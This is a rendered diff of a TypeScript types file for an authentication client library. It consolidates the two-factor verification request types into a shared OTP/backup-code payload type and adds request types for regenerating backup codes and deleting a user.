window.location.href = endpoints.apiBaseUrl() + endpoints.buildLoginRedirectUrl();
|
|
145
145
|
}
|
|
146
146
|
} catch (err) {
|
|
147
147
|
processQueue(err as AxiosError, null);
|
package/src/types.ts
CHANGED
|
@@ -425,28 +425,29 @@ export type TLoginResponse = {
|
|
|
425
425
|
tempToken?: string;
|
|
426
426
|
};
|
|
427
427
|
|
|
428
|
+
/** Shared payload for any operation that requires OTP or backup-code verification. */
|
|
429
|
+
export type TOTPVerificationPayload = {
|
|
430
|
+
token?: string;
|
|
431
|
+
backupCode?: string;
|
|
432
|
+
};
|
|
433
|
+
|
|
434
|
+
export type TEnable2FARequest = TOTPVerificationPayload;
|
|
435
|
+
|
|
428
436
|
export type TEnable2FAResponse = {
|
|
429
437
|
otpauthUrl: string;
|
|
430
438
|
backupCodes: string[];
|
|
431
439
|
message?: string;
|
|
432
440
|
};
|
|
433
441
|
|
|
434
|
-
export type TVerify2FARequest =
|
|
435
|
-
token?: string;
|
|
436
|
-
backupCode?: string;
|
|
437
|
-
};
|
|
442
|
+
export type TVerify2FARequest = TOTPVerificationPayload;
|
|
438
443
|
|
|
439
444
|
export type TVerify2FAResponse = {
|
|
440
445
|
message: string;
|
|
441
446
|
};
|
|
442
447
|
|
|
443
|
-
/**
|
|
444
|
-
|
|
445
|
-
*/
|
|
446
|
-
export type TVerify2FATempRequest = {
|
|
448
|
+
/** For verifying 2FA during login with a temporary token. */
|
|
449
|
+
export type TVerify2FATempRequest = TOTPVerificationPayload & {
|
|
447
450
|
tempToken: string;
|
|
448
|
-
token?: string;
|
|
449
|
-
backupCode?: string;
|
|
450
451
|
};
|
|
451
452
|
|
|
452
453
|
export type TVerify2FATempResponse = {
|
|
@@ -455,30 +456,22 @@ export type TVerify2FATempResponse = {
|
|
|
455
456
|
message?: string;
|
|
456
457
|
};
|
|
457
458
|
|
|
458
|
-
|
|
459
|
-
* Request for disabling 2FA.
|
|
460
|
-
*/
|
|
461
|
-
export type TDisable2FARequest = {
|
|
462
|
-
token?: string;
|
|
463
|
-
backupCode?: string;
|
|
464
|
-
};
|
|
459
|
+
export type TDisable2FARequest = TOTPVerificationPayload;
|
|
465
460
|
|
|
466
|
-
/**
|
|
467
|
-
* Response from disabling 2FA.
|
|
468
|
-
*/
|
|
469
461
|
export type TDisable2FAResponse = {
|
|
470
462
|
message: string;
|
|
471
463
|
};
|
|
472
464
|
|
|
473
|
-
|
|
474
|
-
|
|
475
|
-
*/
|
|
465
|
+
export type TRegenerateBackupCodesRequest = TOTPVerificationPayload;
|
|
466
|
+
|
|
476
467
|
export type TRegenerateBackupCodesResponse = {
|
|
477
|
-
message
|
|
468
|
+
message?: string;
|
|
478
469
|
backupCodes: string[];
|
|
479
|
-
backupCodesHash:
|
|
470
|
+
backupCodesHash: TBackupCode[];
|
|
480
471
|
};
|
|
481
472
|
|
|
473
|
+
export type TDeleteUserRequest = TOTPVerificationPayload;
|
|
474
|
+
|
|
482
475
|
export type TRequestPasswordReset = {
|
|
483
476
|
email: string;
|
|
484
477
|
};
|